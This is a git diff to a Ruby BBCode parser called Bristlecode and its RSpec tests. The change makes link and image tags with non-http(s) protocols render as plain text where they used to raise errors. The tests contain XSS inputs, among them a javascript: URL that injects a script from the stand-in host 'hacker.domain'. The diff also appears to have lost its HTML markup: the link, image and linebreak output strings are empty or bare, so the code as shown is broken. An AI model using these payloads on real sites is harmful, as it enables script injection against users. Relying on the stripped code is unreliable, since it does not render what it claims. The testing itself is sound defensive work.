diff --git a/bristlecode.rb b/bristlecode.rb index f8dd273..9536c54 100644 --- a/bristlecode.rb +++ b/bristlecode.rb @@ -62,16 +62,8 @@ module Bristlecode rule(:img_open) { str('[img]') } rule(:img_close) { str('[/img]') } - rule(:img) { - ( - img_open >> - ( - (str('http://') | str('https://')) >> - (img_close.absent? >> any).repeat(1) - ).as(:src) >> - img_close - ).as(:img) - } + rule(:img_src) { (img_close.absent? >> any).repeat(1) } + rule(:img) { (img_open >> img_src.as(:src) >> img_close).as(:img) } rule(:eof) { any.absent? } rule(:tag) { bold | italic | url | linebreak | img } @@ -148,26 +140,37 @@ module Bristlecode end class Url - attr_accessor :href, :title + attr_accessor :href, :title, :bad_href, :title_supplied def initialize(args) self.href = args[:href].to_str.strip - check_href if args.has_key? :title + self.title_supplied = true self.title = Doc.new(args[:title]) else - self.title = Text.new(href) + self.title_supplied = false + self.title = Text.new(self.href) end end - def check_href - unless href =~ /^(\/[^\/]|https?:\/\/)/ - raise "href must start with /, http, or https" - end + def href_ok? + href =~ /^https?:/ end def to_html - "#{title.to_html}" + if href_ok? + "#{title.to_html}" + else + reject + end + end + + def reject + if title_supplied + "[url=#{href}]#{title.to_html}[/url]" + else + Text.new("[url]#{href}[/url]").to_html + end end end @@ -184,8 +187,16 @@ module Bristlecode self.src = img[:src].to_str end + def src_ok? + src =~ /^(\/[^\/]|https?:\/\/)/ + end + def to_html - "" + if src_ok? + "" + else + Text.new("[img]#{src}[/img]").to_html + end end end end diff --git a/spec/bristlecode/parser_spec.rb b/spec/bristlecode/parser_spec.rb index dca7b6d..6233490 100644 --- a/spec/bristlecode/parser_spec.rb +++ b/spec/bristlecode/parser_spec.rb @@ -75,12 +75,12 @@ module Bristlecode expect(to_html(input)).to eq(output) end - it 'rejects bad url protocols' do + it 'ignores url tags with bad protocols' do input = '[url=javascript:alert(1)]google.com[/url]' - expect { to_html(input) }.to raise_error + expect(to_html(input)).to eq(input) input = '[url=ftp://something.com/filez]google.com[/url]' - expect { to_html(input) }.to raise_error + expect(to_html(input)).to eq(input) end it 'allows subtrees in tags' do @@ -91,20 +91,28 @@ module Bristlecode it 'rejects bad url protocols' do input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]" - expect { to_html(input) }.to raise_error + expect(to_html(input)).to eq(input) input = "[url=ftp://whatever.com/etc]warez[/url]" - expect { to_html(input) }.to raise_error + expect(to_html(input)).to eq(input) end it 'renders a linebreak' do expect(to_html('[br]')).to eq('
') end - it 'handles images' do + it 'renders an image' do input = '[img]http://example.com/cat.gif[/img]' expect(to_html(input)).to eq('') end + + it 'ignores bad image src protocols' do + input = '[img]javascript:alert(1)[/img]' + expect(to_html(input)).to eq(input) + + input = '[img]ftp://example.com/cat.gif[/img]' + expect(to_html(input)).to eq(input) + end end describe Parser do @@ -224,11 +232,6 @@ module Bristlecode expect(parser.img).to parse('[img]http://example.com/something.gif[/img]') expect(parser.img).to parse('[img]https://example.com/something.gif[/img]') end - - it 'rejects bad protocols' do - expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]') - expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]') - end end end end